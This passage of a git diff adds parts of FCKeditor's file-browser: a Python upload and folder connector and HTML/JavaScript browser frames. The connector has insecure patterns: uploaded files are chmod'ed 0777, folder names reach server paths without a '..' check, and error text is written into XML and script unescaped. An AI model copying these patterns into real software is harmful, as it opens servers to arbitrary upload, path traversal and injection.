+               return fileExtension
+               
+       def getParentFolder(self, folderPath):
+               parentFolderPath = self.parentFolderRe.sub('', folderPath)
+               return parentFolderPath
+       
+       """
+       serverMapFolder
+
+       Purpose: works out the folder map on the server
+       """
+       def serverMapFolder(self, resourceType, folderPath):
+               # Get the resource type directory
+               resourceTypeFolder = "%s%s/" % (
+                               self.getUserFilesFolder(),
+                               resourceType
+                               )
+               # Ensure that the directory exists
+               self.createServerFolder(resourceTypeFolder)
+
+               # Return the resource type directory combined with the
+               # required path
+               return "%s%s" % (
+                               resourceTypeFolder,
+                               self.removeFromStart(folderPath, '/')
+                               )
+
+       """
+       createServerFolder
+
+       Purpose: physically creates a folder on the server
+       """
+       def createServerFolder(self, folderPath):
+               # Check if the parent exists
+               parentFolderPath = self.getParentFolder(folderPath)
+               if not(os.path.exists(parentFolderPath)):
+                       errorMsg = self.createServerFolder(parentFolderPath)
+                       if errorMsg is not None:
+                               return errorMsg
+               # Check if this exists
+               if not(os.path.exists(folderPath)):
+                       os.mkdir(folderPath)
+                       os.chmod(folderPath, 0755)
+                       errorMsg = None
+               else:
+                       if os.path.isdir(folderPath):
+                               errorMsg = None
+                       else:
+                               raise "createServerFolder: Non-folder of same name already exists"
+               return errorMsg
+
+
+       """
+       getRootPath
+
+       Purpose: returns the root path on the server
+       """
+       def getRootPath(self):
+               return self.rootPath
+               
+       """
+       setXmlHeaders
+
+       Purpose: to prepare the headers for the xml to return
+       """
+       def setXmlHeaders(self):
+               #now = self.context.BS_get_now()
+               #yesterday = now - 1
+               self.setHeader("Content-Type", "text/xml")
+               #self.setHeader("Expires", yesterday)
+               #self.setHeader("Last-Modified", now)
+               #self.setHeader("Cache-Control", "no-store, no-cache, must-revalidate")
+               self.printHeaders()
+               return
+
+       def setHeader(self, key, value):
+               if (self.isZope()):
+                       self.context.REQUEST.RESPONSE.setHeader(key, value)
+               else:
+                       print "%s: %s" % (key, value)
+               return
+
+       def printHeaders(self):
+               # For non-Zope requests, we need to print an empty line
+               # to denote the end of headers
+               if (not(self.isZope())):
+                       print ""
+
+       """
+       createXmlFooter
+
+       Purpose: returns the xml header
+       """
+       def createXmlHeader(self, command, resourceType, currentFolder):
+               self.setXmlHeaders()
+               s = ""
+               # Create the XML document header
+               s += """<?xml version="1.0" encoding="utf-8" ?>"""
+               # Create the main connector node
+               s += """<Connector command="%s" resourceType="%s">""" % (
+                               command,
+                               resourceType
+                               )
+               # Add the current folder node
+               s += """<CurrentFolder path="%s" url="%s" />""" % (
+                               self.convertToXmlAttribute(currentFolder),
+                               self.convertToXmlAttribute(
+                                       self.getWebUrlFromPath(
+                                               resourceType, 
+                                               currentFolder
+                                               )
+                                       ),
+                               )
+               return s
+
+       """
+       createXmlFooter
+
+       Purpose: returns the xml footer
+       """
+       def createXmlFooter(self):
+               s = """</Connector>"""
+               return s
+
+       """
+       sendError
+
+       Purpose: in the event of an error, return an xml based error
+       """
+       def sendError(self, number, text):
+               self.setXmlHeaders()
+               s = ""
+               # Create the XML document header
+               s += """<?xml version="1.0" encoding="utf-8" ?>"""
+               s += """<Connector>"""
+               s += """<Error number="%s" text="%s" />""" % (number, text)
+               s += """</Connector>"""
+               return s
+
+       """
+       getFolders
+
+       Purpose: command to recieve a list of folders
+       """
+       def getFolders(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.getZopeFolders(resourceType, currentFolder)
+               else:
+                       return self.getNonZopeFolders(resourceType, currentFolder)
+
+       def getZopeFolders(self, resourceType, currentFolder):
+               # Open the folders node
+               s = ""
+               s += """<Folders>"""
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               for (name, o) in zopeFolder.objectItems(["Folder"]):
+                       s += """<Folder name="%s" />""" % (
+                                       self.convertToXmlAttribute(name)
+                                       )
+               # Close the folders node
+               s += """</Folders>"""
+               return s
+
+       def getNonZopeFolders(self, resourceType, currentFolder):
+               # Map the virtual path to our local server
+               serverPath = self.serverMapFolder(resourceType, currentFolder)
+               # Open the folders node
+               s = ""
+               s += """<Folders>"""
+               for someObject in os.listdir(serverPath):
+                       someObjectPath = os.path.join(serverPath, someObject)
+                       if os.path.isdir(someObjectPath):
+                               s += """<Folder name="%s" />""" % (
+                                               self.convertToXmlAttribute(someObject)
+                                               )
+               # Close the folders node
+               s += """</Folders>"""
+               return s
+               
+       """
+       getFoldersAndFiles
+
+       Purpose: command to recieve a list of folders and files
+       """
+       def getFoldersAndFiles(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.getZopeFoldersAndFiles(resourceType, currentFolder)
+               else:
+                       return self.getNonZopeFoldersAndFiles(resourceType, currentFolder)
+
+       def getNonZopeFoldersAndFiles(self, resourceType, currentFolder):
+               # Map the virtual path to our local server
+               serverPath = self.serverMapFolder(resourceType, currentFolder)
+               # Open the folders / files node
+               folders = """<Folders>"""
+               files = """<Files>"""
+               for someObject in os.listdir(serverPath):
+                       someObjectPath = os.path.join(serverPath, someObject)
+                       if os.path.isdir(someObjectPath):
+                               folders += """<Folder name="%s" />""" % (
+                                               self.convertToXmlAttribute(someObject)
+                                               )
+                       elif os.path.isfile(someObjectPath):
+                               size = os.path.getsize(someObjectPath)
+                               files += """<File name="%s" size="%s" />""" % (
+                                               self.convertToXmlAttribute(someObject),
+                                               os.path.getsize(someObjectPath)
+                                               )
+               # Close the folders / files node
+               folders += """</Folders>"""
+               files += """</Files>"""
+               # Return it
+               s = folders + files
+               return s
+
+       def getZopeFoldersAndFiles(self, resourceType, currentFolder):
+               folders = self.getZopeFolders(resourceType, currentFolder)
+               files = self.getZopeFiles(resourceType, currentFolder)
+               s = folders + files
+               return s
+
+       def getZopeFiles(self, resourceType, currentFolder):
+               # Open the files node
+               s = ""
+               s += """<Files>"""
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               for (name, o) in zopeFolder.objectItems(["File","Image"]):
+                       s += """<File name="%s" size="%s" />""" % (
+                                       self.convertToXmlAttribute(name),
+                                       ((o.get_size() / 1024) + 1)
+                                       )
+               # Close the files node
+               s += """</Files>"""
+               return s
+               
+       def findZopeFolder(self, resourceType, folderName):
+               # returns the context of the resource / folder
+               zopeFolder = self.getZopeUploadContext()
+               folderName = self.removeFromStart(folderName, "/")
+               folderName = self.removeFromEnd(folderName, "/")
+               if (resourceType <> ""):
+                       try:
+                               zopeFolder = zopeFolder[resourceType]
+                       except:
+                               zopeFolder.manage_addProduct["OFSP"].manage_addFolder(id=resourceType, title=resourceType)
+                               zopeFolder = zopeFolder[resourceType]
+               if (folderName <> ""):
+                       folderNames = folderName.split("/")
+                       for folderName in folderNames:
+                               zopeFolder = zopeFolder[folderName]
+               return zopeFolder
+
+       """
+       createFolder
+
+       Purpose: command to create a new folder
+       """
+       def createFolder(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.createZopeFolder(resourceType, currentFolder)
+               else:
+                       return self.createNonZopeFolder(resourceType, currentFolder)
+
+       def createZopeFolder(self, resourceType, currentFolder):
+               # Find out where we are
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               errorNo = 0
+               errorMsg = ""
+               if self.request.has_key("NewFolderName"):
+                       newFolder = self.request.get("NewFolderName", None)
+                       zopeFolder.manage_addProduct["OFSP"].manage_addFolder(id=newFolder, title=newFolder)
+               else:
+                       errorNo = 102
+               error = """<Error number="%s" originalDescription="%s" />""" % (
+                               errorNo,
+                               self.convertToXmlAttribute(errorMsg)
+                               )
+               return error
+
+       def createNonZopeFolder(self, resourceType, currentFolder):
+               errorNo = 0
+               errorMsg = ""
+               if self.request.has_key("NewFolderName"):
+                       newFolder = self.request.get("NewFolderName", None)
+                       currentFolderPath = self.serverMapFolder(
+                                       resourceType, 
+                                       currentFolder
+                                       )
+                       try:
+                               newFolderPath = currentFolderPath + newFolder
+                               errorMsg = self.createServerFolder(newFolderPath)
+                               if (errorMsg is not None):
+                                       errorNo = 110
+                       except:
+                               errorNo = 103
+               else:
+                       errorNo = 102
+               error = """<Error number="%s" originalDescription="%s" />""" % (
+                               errorNo,
+                               self.convertToXmlAttribute(errorMsg)
+                               )
+               return error
+
+       """
+       getFileName
+
+       Purpose: helper function to extrapolate the filename
+       """
+       def getFileName(self, filename):
+               for splitChar in ["/", "\\"]:
+                       array = filename.split(splitChar)
+                       if (len(array) > 1):
+                               filename = array[-1]
+               return filename
+
+       """
+       fileUpload
+
+       Purpose: command to upload files to server
+       """
+       def fileUpload(self, resourceType, currentFolder):
+               if (self.isZope()):
+                       return self.zopeFileUpload(resourceType, currentFolder)
+               else:
+                       return self.nonZopeFileUpload(resourceType, currentFolder)
+
+       def zopeFileUpload(self, resourceType, currentFolder, count=None):
+               zopeFolder = self.findZopeFolder(resourceType, currentFolder)
+               file = self.request.get("NewFile", None)
+               fileName = self.getFileName(file.filename)
+               fileNameOnly = self.removeExtension(fileName)
+               fileExtension = self.getExtension(fileName).lower()
+               if (count):
+                       nid = "%s.%s.%s" % (fileNameOnly, count, fileExtension)
+               else:
+                       nid = fileName
+               title = nid
+               try:
+                       zopeFolder.manage_addProduct['OFSP'].manage_addFile(
+                                       id=nid,
+                                       title=title,
+                                       file=file.read()
+                                       )
+               except:
+                       if (count):
+                               count += 1
+                       else:
+                               count = 1
+                       self.zopeFileUpload(resourceType, currentFolder, count)
+               return
+               
+       def nonZopeFileUpload(self, resourceType, currentFolder):
+               errorNo = 0
+               errorMsg = ""
+               if self.request.has_key("NewFile"):
+                       # newFile has all the contents we need
+                       newFile = self.request.get("NewFile", "")
+                       # Get the file name
+                       newFileName = newFile.filename
+                       newFileNameOnly = self.removeExtension(newFileName)
+                       newFileExtension = self.getExtension(newFileName).lower()
+                       allowedExtensions = self.getAllowedExtensions(resourceType)
+                       deniedExtensions = self.getDeniedExtensions(resourceType)
+                       if (allowedExtensions is not None):
+                               # Check for allowed
+                               isAllowed = False
+                               if (newFileExtension in allowedExtensions):
+                                       isAllowed = True
+                       elif (deniedExtensions is not None):
+                               # Check for denied
+                               isAllowed = True
+                               if (newFileExtension in deniedExtensions):
+                                       isAllowed = False
+                       else:
+                               # No extension limitations
+                               isAllowed = True
+
+                       if (isAllowed):
+                               if (self.isZope()):
+                                       # Upload into zope
+                                       self.zopeFileUpload(resourceType, currentFolder)
+                               else:
+                                       # Upload to operating system
+                                       # Map the virtual path to the local server path
+                                       currentFolderPath = self.serverMapFolder(
+                                                       resourceType, 
+                                                       currentFolder
+                                                       )
+                                       i = 0
+                                       while (True):
+                                               newFilePath = "%s%s" % (
+                                                               currentFolderPath,
+                                                               newFileName
+                                                               )
+                                               if os.path.exists(newFilePath):
+                                                       i += 1
+                                                       newFilePath = "%s%s(%s).%s" % (
+                                                                       currentFolderPath,
+                                                                       newFileNameOnly,
+                                                                       i,
+                                                                       newFileExtension
+                                                                       )
+                                                       errorNo = 201
+                                                       break
+                                               else:
+                                                       fileHandle = open(newFilePath,'w')
+                                                       linecount = 0
+                                                       while (1):
+                                                               #line = newFile.file.readline()
+                                                               line = newFile.readline()
+                                                               if not line: break
+                                                               fileHandle.write("%s" % line)
+                                                               linecount += 1
+                                                       os.chmod(newFilePath, 0777)
+                                                       break
+                       else:
+                               newFileName = "Extension not allowed"
+                               errorNo = 203
+               else:
+                       newFileName = "No File"
+                       errorNo = 202
+       
+               string = """
+<script type="text/javascript">
+window.parent.frames["frmUpload"].OnUploadCompleted(%s,"%s");
+</script>
+                               """ % (
+                                               errorNo,
+                                               newFileName.replace('"',"'")
+                                               )
+               return string
+
+       def run(self):
+               s = ""
+               try:
+                       # Check if this is disabled
+                       if not(self.enabled):
+                               return self.sendError(1, "This connector is disabled.  Please check the connector configurations and try again")
+                       # Make sure we have valid inputs
+                       if not(
+                                       (self.request.has_key("Command")) and 
+                                       (self.request.has_key("Type")) and 
+                                       (self.request.has_key("CurrentFolder"))
+                                       ):
+                               return 
+                       # Get command
+                       command = self.request.get("Command", None)
+                       # Get resource type
+                       resourceType = self.request.get("Type", None)
+                       # folder syntax must start and end with "/"
+                       currentFolder = self.request.get("CurrentFolder", None)
+                       if (currentFolder[-1] <> "/"):
+                               currentFolder += "/"
+                       if (currentFolder[0] <> "/"):
+                               currentFolder = "/" + currentFolder
+                       # Check for invalid paths
+                       if (".." in currentFolder):
+                               return self.sendError(102, "")
+                       # File upload doesn't have to return XML, so intercept
+                       # her:e
+                       if (command == "FileUpload"):
+                               return self.fileUpload(resourceType, currentFolder)
+                       # Begin XML
+                       s += self.createXmlHeader(command, resourceType, currentFolder)
+                       # Execute the command
+                       if (command == "GetFolders"):
+                               f = self.getFolders
+                       elif (command == "GetFoldersAndFiles"):
+                               f = self.getFoldersAndFiles
+                       elif (command == "CreateFolder"):
+                               f = self.createFolder
+                       else:
+                               f = None
+                       if (f is not None):
+                               s += f(resourceType, currentFolder)
+                       s += self.createXmlFooter()
+               except Exception, e:
+                       s = "ERROR: %s" % e
+               return s
+                       
+# Running from command line
+if __name__ == '__main__':
+       # To test the output, uncomment the standard headers
+       #print "Content-Type: text/html"
+       #print ""
+       print getFCKeditorConnector()
+
+"""
+Running from zope, you will need to modify this connector. 
+If you have uploaded the FCKeditor into Zope (like me), you need to 
+move this connector out of Zope, and replace the "connector" with an
+alias as below.  The key to it is to pass the Zope context in, as
+we then have a like to the Zope context.
+
+## Script (Python) "connector.py"
+##bind container=container
+##bind context=context
+##bind namespace=
+##bind script=script
+##bind subpath=traverse_subpath
+##parameters=*args, **kws
+##title=ALIAS
+##
+import Products.connector as connector
+return connector.getFCKeditorConnector(context=context).run()
+"""
+                       
+       
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/test.html b/fckeditor/editor/filemanager/browser/default/connectors/test.html
new file mode 100755 (executable)
index 0000000..05b3ff5
--- /dev/null
@@ -0,0 +1,185 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: test.html
+ *     Test page for the File Browser connectors.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - Connectors Tests</title>
+       <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5" />
+       <script type="text/javascript">
+
+function BuildBaseUrl( command )
+{
+       var sUrl =  
+               document.getElementById('cmbConnector').value +
+               '?Command=' + command +
+               '&Type=' + document.getElementById('cmbType').value +
+               '&CurrentFolder=' + document.getElementById('txtFolder').value ;
+       
+       return sUrl ;
+}
+
+function SetFrameUrl( url )
+{
+       if ( document.all )
+               eRunningFrame.document.location = url ;
+       else
+               document.getElementById('eRunningFrame').src = url ;
+               
+       document.getElementById('eUrl').innerHTML = url ;
+}
+
+function GetFolders()
+{      
+       SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
+       return false ;
+}
+
+function GetFoldersAndFiles()
+{
+       SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
+       return false ;
+}
+
+function CreateFolder()
+{
+       var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
+       
+       if ( ! sFolder )
+               return false ;
+       
+       var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
+       sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
+
+       SetFrameUrl( sUrl ) ;
+       return false ;
+}
+
+function OnUploadCompleted( errorNumber, fileName )
+{
+       switch ( errorNumber )
+       {
+               case 0 :
+                       alert( 'File uploaded with no errors' ) ;
+                       break ;
+               case 201 :
+                       GetFoldersAndFiles() ;
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file' ) ;
+                       break ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       break ;
+       }
+}
+
+this.frames.frmUpload = this ;
+
+function SetAction()
+{
+       var sUrl = BuildBaseUrl( 'FileUpload' ) ;
+       document.getElementById('eUrl').innerHTML = sUrl ;
+       document.getElementById('frmUpload').action = sUrl ;
+}
+
+       </script>
+</head>
+<body>
+       <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="0" border="0">
+                                       <tr>
+                                               <td>
+                                                       Connector:<br />
+                                                       <select id="cmbConnector" name="cmbConnector">
+                                                               <option value="asp/connector.asp" selected="selected">ASP</option>
+                                                               <option value="aspx/connector.aspx">ASP.Net</option>
+                                                               <option value="cfm/connector.cfm">ColdFusion</option>
+                                                               <option value="lasso/connector.lasso">Lasso</option>
+                                                               <option value="perl/connector.cgi">Perl</option>
+                                                               <option value="php/connector.php">PHP</option>
+                                                               <option value="py/connector.py">Python</option>
+                                                       </select>
+                                               </td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td>
+                                                       Current Folder<br />
+                                                       <input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td>
+                                                       Resource Type<br />
+                                                       <select id="cmbType" name="cmbType">
+                                                               <option value="File" selected="selected">File</option>
+                                                               <option value="Image">Image</option>
+                                                               <option value="Flash">Flash</option>
+                                                               <option value="Media">Media</option>
+                                                               <option value="Invalid">Invalid Type (for testing)</option>
+                                                       </select>
+                                               </td>
+                                       </tr>
+                               </table>
+                               <br />
+                               <table cellspacing="0" cellpadding="0" border="0">
+                                       <tr>
+                                               <td valign="top">
+                                                       <a href="#" onclick="GetFolders();">Get Folders</a></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td valign="top">
+                                                       <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td valign="top">
+                                                       <a href="#" onclick="CreateFolder();">Create Folder</a></td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td valign="top">
+                                                       <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
+                                                               File Upload<br />
+                                                               <input id="txtFileUpload" type="file" name="NewFile" />
+                                                               <input type="submit" value="Upload" onclick="SetAction();" />
+                                                       </form>
+                                               </td>
+                                       </tr>
+                               </table>
+                               <br />
+                               URL: <span id="eUrl"></span>
+                       </td>
+               </tr>
+               <tr>
+                       <td height="100%" valign="top">
+                               <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
+                                       height="100%"></iframe>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmactualfolder.html b/fckeditor/editor/filemanager/browser/default/frmactualfolder.html
new file mode 100755 (executable)
index 0000000..d9ee7c2
--- /dev/null
@@ -0,0 +1,71 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmactualfolder.html
+ *     This page shows the actual folder path.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript">
+
+function OnResize()
+{
+       divName.style.width = "1px" ;
+       divName.style.width = tdName.offsetWidth + "px" ;
+}
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+       document.getElementById('tdName').innerHTML = folderPath ;
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedActualFolder = true ;
+}
+
+               </script>
+       </head>
+       <body bottomMargin="0" topMargin="0">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td>
+                                       <button style="WIDTH: 100%" type="button">
+                                               <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td><img height="32" alt="" src="images/FolderOpened32.gif" width="32"></td>
+                                                               <td>&nbsp;</td>
+                                                               <td id="tdName" width="100%" nowrap class="ActualFolder">/</td>
+                                                               <td>&nbsp;</td>
+                                                               <td><img height="8" src="images/ButtonArrow.gif" width="12"></td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                               </table>
+                                       </button>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmcreatefolder.html b/fckeditor/editor/filemanager/browser/default/frmcreatefolder.html
new file mode 100755 (executable)
index 0000000..9840b90
--- /dev/null
@@ -0,0 +1,117 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmcreatefolder.html
+ *     Page used to create new folders in the current folder.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/common.js"></script>
+               <script language="javascript">
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+       oConnector.ResourceType = resourceType ;
+       oConnector.CurrentFolder = folderPath ;
+}
+
+function CreateFolder()
+{
+       var sFolderName ;
+       
+       while ( true ) 
+       {
+               sFolderName = prompt( 'Type the name of the new folder:', '' ) ;
+       
+               if ( sFolderName == null )
+                       return ;
+               else if ( sFolderName.length == 0 )
+                       alert( 'Please type the folder name' ) ;
+               else
+                       break ;
+       }
+       
+       oConnector.SendCommand( 'CreateFolder', 'NewFolderName=' + encodeURIComponent( sFolderName) , CreateFolderCallBack ) ;
+}
+
+function CreateFolderCallBack( fckXml )
+{
+       if ( oConnector.CheckError( fckXml ) == 0 )
+               window.parent.frames['frmResourcesList'].Refresh() ;
+       
+       /*
+       // Get the current folder path.
+       var oNode = fckXml.SelectSingleNode( 'Connector/Error' ) ;
+       var iErrorNumber = parseInt( oNode.attributes.getNamedItem('number').value ) ;
+       
+       switch ( iErrorNumber )
+       {
+               case 0 :
+                       window.parent.frames['frmResourcesList'].Refresh() ;
+                       break ;
+               case 101 :
+                       alert( 'Folder already exists' ) ;
+                       break ;
+               case 102 :
+                       alert( 'Invalid folder name' ) ;
+                       break ;
+               case 103 :
+                       alert( 'You have no permissions to create the folder' ) ;
+                       break ;
+               case 110 :
+                       alert( 'Unknown error creating folder' ) ;
+                       break ;
+               default :
+                       alert( 'Error creating folder. Error number: ' + iErrorNumber ) ;
+                       break ;
+       }
+       */
+}
+
+window.onload = function()
+{
+       window.top.IsLoadedCreateFolder = true ;
+}
+               </script>
+       </head>
+       <body bottomMargin="0" topMargin="0">
+               <table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+                       <tr>
+                               <td>
+                                       <button type="button" style="WIDTH: 100%" onclick="CreateFolder();">
+                                               <table cellSpacing="0" cellPadding="0" border="0">
+                                                       <tr>
+                                                               <td><img height="16" alt="" src="images/Folder.gif" width="16"></td>
+                                                               <td>&nbsp;</td>
+                                                               <td nowrap>Create New Folder</td>
+                                                       </tr>
+                                               </table>
+                                       </button>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/filemanager/browser/default/frmfolders.html b/fckeditor/editor/filemanager/browser/default/frmfolders.html
new file mode 100755 (executable)
index 0000000..35c1e82
--- /dev/null
@@ -0,0 +1,200 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: frmfolders.html
+ *     This page shows the list of folders available in the parent folder 
+ *     of the current folder.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <link href="browser.css" type="text/css" rel="stylesheet">
+               <script type="text/javascript" src="js/common.js"></script>
+               <script language="javascript">
+
+var sActiveFolder ;
+
+var bIsLoaded = false ;
+var iIntervalId ;
+
+var oListManager = new Object() ;
+
+oListManager.Init = function()
+{
+       this.Table = document.getElementById('tableFiles') ;
+       this.UpRow = document.getElementById('trUp') ;
+
+       this.TableRows = new Object() ; 
+}
+
+oListManager.Clear = function()
+{
+       // Remove all other rows available.
+       while ( this.Table.rows.length > 1 )
+               this.Table.deleteRow(1) ;
+
+       // Reset the TableRows collection.
+       this.TableRows = new Object() ;
+}
+
+oListManager.AddItem = function( folderName, folderPath )
+{
+       // Create the new row.
+       var oRow = this.Table.insertRow(-1) ;
+       oRow.className = 'FolderListFolder' ;
+
+       // Build the link to view the folder.
+       var sLink = '<a href="#" onclick="OpenFolder(\'' + folderPath + '\');return false;">' ;
+
+       // Add the folder icon cell.
+       var oCell = oRow.insertCell(-1) ;
+       oCell.width = 16 ;
+       oCell.innerHTML = sLink + '<img alt="" src="images/spacer.gif" width="16" height="16" border="0"></a>' ;
+
+       // Add the folder name cell.
+       oCell = oRow.insertCell(-1) ;
+       oCell.noWrap = true ;
+       oCell.innerHTML = '&nbsp;' + sLink + folderName + '</a>' ;
+       
+       this.TableRows[ folderPath ] = oRow ;
+}
+
+oListManager.ShowUpFolder = function( upFolderPath )
+{
+       this.UpRow.style.display = ( upFolderPath != null ? '' : 'none' ) ;
+       
+       if ( upFolderPath != null )
+       {
+               document.getElementById('linkUpIcon').onclick = document.getElementById('linkUp').onclick = function()
+               {
+                       LoadFolders( upFolderPath ) ;
+                       return false ;
+               }
+       }
+}
+
+function CheckLoaded()
+{
+       if ( window.top.IsLoadedActualFolder 
+               && window.top.IsLoadedCreateFolder 
+               && window.top.IsLoadedUpload
+               && window.top.IsLoadedResourcesList )
+       {
+               window.clearInterval( iIntervalId ) ;
+               bIsLoaded = true ;
+               OpenFolder( sActiveFolder ) ;
+       }
+}
+
+function OpenFolder( folderPath )
+{
+       sActiveFolder = folderPath ;
+
+       if ( ! bIsLoaded )
+       {
+               if ( ! iIntervalId )
+                       iIntervalId = window.setInterval( CheckLoaded, 100 ) ;
+               return ;
+       }
+
+       // Change the style for the select row (to show the opened folder).
+       for ( var sFolderPath in oListManager.TableRows )
+       {
+               oListManager.TableRows[ sFolderPath ].className = 
+                       ( sFolderPath == folderPath ? 'FolderListCurrentFolder' : 'FolderListFolder' ) ;
+       }
+
+       // Set the current folder in all frames.
+       window.parent.frames['frmActualFolder'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+       window.parent.frames['frmCreateFolder'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+       window.parent.frames['frmUpload'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+       
+       // Load the resources list for this folder.
+       window.parent.frames['frmResourcesList'].LoadResources( oConnector.ResourceType, folderPath ) ;
+}
+
+function LoadFolders( folderPath )
+{
+       // Clear the folders list.
+       oListManager.Clear() ;
+
+       // Get the parent folder path.
+       var sParentFolderPath ;
+       if ( folderPath != '/' )
+               sParentFolderPath = folderPath.substring( 0, folderPath.lastIndexOf( '/', folderPath.length - 2 ) + 1 ) ;
+
+       // Show/Hide the Up Folder.
+       oListManager.ShowUpFolder( sParentFolderPath ) ;
+       
+       if ( folderPath != '/' )
+       {
+               sActiveFolder = folderPath ;
+               oConnector.CurrentFolder = sParentFolderPath ;
+               oConnector.SendCommand( 'GetFolders', null, GetFoldersCallBack ) ;
+       }
+       else
+               OpenFolder( '/' ) ;
+}
+
